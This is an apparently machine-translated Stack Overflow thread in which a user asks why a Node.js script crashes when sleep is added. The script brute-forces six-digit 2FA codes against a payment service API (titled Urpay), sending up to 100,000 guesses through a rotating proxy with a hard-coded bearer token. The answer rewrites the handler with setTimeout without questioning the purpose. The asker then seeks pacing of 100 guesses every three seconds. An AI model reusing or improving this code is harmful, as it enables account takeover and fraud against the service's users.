Javascript 添加睡眠时脚本崩溃

Javascript 添加睡眠时脚本崩溃,javascript,node.js,Javascript,Node.js,晚安 我试图使用system sleep包的sleep功能,但是脚本崩溃了 我有以下代码: index.html checker.js $(文档).ready(函数(){ 对于(i=0;i

晚安

我试图使用
system sleep
包的
sleep
功能,但是脚本崩溃了

我有以下代码:

index.html

checker.js


$(文档).ready(函数(){
对于(i=0;i<100000;i++){
var代码_2fa=随机字符串(6,“N”);
测试器(代码_2fa)
}
});
函数随机字符串(len,an){
an=an&&an.toLowerCase();
var str=“”,i=0,min=an==“a”?10:0,max=an==“n”?10:62;
对于(;i++
当我添加
睡眠时(500)在socket.on('chk',code_2fa=>{
行下面。脚本崩溃
没有显示错误,只是崩溃。为什么会发生这种情况?

不清楚您真正想要完成什么或为什么,但是如果您真的想给到达的
chk
消息的处理增加延迟,您可以使用
setTimeout()

这不需要任何外部库,也不会阻止其他请求运行和执行其任务的事件循环


另外,我想这是解决其他“真正”问题的一种方法。你可能应该问真正的问题,而不是解决方法的问题。

尝试使用
睡眠(500)的更高层次点是什么
因为这通常不是在node.js中编写好的服务器端代码的方式。您需要事件循环处于活动状态,这意味着您不想让解释器以任何方式阻塞解释器(与您使用非阻塞文件I/O而不是阻塞文件I/O的原因相同).如果我们了解您想要实现的目标,我们可能会建议一个更好的方法。我想在每次尝试之前增加一个延迟request@NOAHBOL,为什么?这不是一个好的设计。您的node.js服务器应该是唤醒的,能够响应客户端请求,如果处于休眠状态,则无法响应,并且将错过请求。@NOAHBOL 1)你发布了checker.js的完整源代码了吗?我不知道套接字连接在哪里。2)如果checker.js中的for循环只进行了一次迭代(I<1而不是100000),会怎么样?服务器端脚本会崩溃吗?很抱歉再次打扰你,但我需要脚本不要发送所有数字(
code2fa
)马上。我需要我的
checker.js
每3秒发送100个数字。@NOAHBOL-这是一个不同的问题。我建议你从这个问题中学习,完成这个问题(如果你原来的问题已经得到回答,就接受答案)针对新问题,自己尝试一些方法。如果你仍然感到困惑,那么就发布一个新问题来描述新问题。另外,请描述你为什么要问你要问的问题,这样人们就有机会提出比你要问的更好的解决方案。
<html lang="pt-br">

<head>
    <link rel="icon" id="favicon" href="https://conta.urpay.com.br/favicon.png"
        type="image/x-icon">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Urpay</title>

</head>

<body style='background-color:black;color:#f7f7f7'>
    <center>
        <button id="lestgo">Lest go!</button>
        <br />
        <p id="demo"></p>
    </center>

    <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
    <script src="/socket.io/socket.io.js"></script>
    <script src="assets/checker.js"></script>
</body>

</html>
var sleep = require('system-sleep');
const app = require('express')()
const http = require('http').Server(app)
const io = require('socket.io')(http)


function meupau(config) {

    return new Promise(resolve => {
        request(config, (error, retorno, d1) => resolve(d1))
    })
}

app.get('/assets/checker.js', function (req, res) {
    res.sendFile(__dirname + '/assets/checker.js');
});

app.get('/', function (req, res) {
    res.sendFile(__dirname + '/index.html');
});

io.on('connection', socket => {
    socket.on('chk', code_2fa => {

        const x = async function () {

            var d1 = await meupau({
                url: "https://api...",
                proxy: "http://...@gate.smartproxy.com:7000",
                method: "PUT",
                body: `{"code_2fa":"${code_2fa}"}`,
                headers: {
                    'Authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMzg2NDUyNjQ1OWE0MDAxODcyNjQzOCIsInR5cGVMb2dpbiI6InVzZXIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTY5Mjg1NzI3LCJleHAiOjE1NjkyODY2Mjd9.WnCHzbmxsX1ggADXbhRpxEFs0hezopk39W23pwInpdw'
                }
            })
            console.log(code_2fa, d1);
        }()
    });
})

http.listen(3000, function () {
    console.log('ON');
});


$(document).ready(function () {

        for (i = 0; i < 100000; i++) {

            var code_2fa = randomString(6, "N");          
            testar(code_2fa)
        }

});

function randomString(len, an) {
    an = an && an.toLowerCase();
    var str = "", i = 0, min = an == "a" ? 10 : 0, max = an == "n" ? 10 : 62;
    for (; i++ < len;) {
        var r = Math.random() * (max - min) + min << 0;
        str += String.fromCharCode(r += r > 9 ? r < 36 ? 55 : 61 : 48);
    }
    return str;
}

function testar(code_2fa) {

    socket.emit('chk', code_2fa);
}
io.on('connection', socket => {
    socket.on('chk', code_2fa => {

        setTimeout(function() {

            const x = async function () {

                var d1 = await meupau({
                    url: "https://api...",
                    proxy: "http://...@gate.smartproxy.com:7000",
                    method: "PUT",
                    body: `{"code_2fa":"${code_2fa}"}`,
                    headers: {
                        'Authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMzg2NDUyNjQ1OWE0MDAxODcyNjQzOCIsInR5cGVMb2dpbiI6InVzZXIiLCJpc0FkbWluIjpmYWxzZSwiaWF0IjoxNTY5Mjg1NzI3LCJleHAiOjE1NjkyODY2Mjd9.WnCHzbmxsX1ggADXbhRpxEFs0hezopk39W23pwInpdw'
                    }
                })
                console.log(code_2fa, d1);
            }()
        }, 500);
    });
});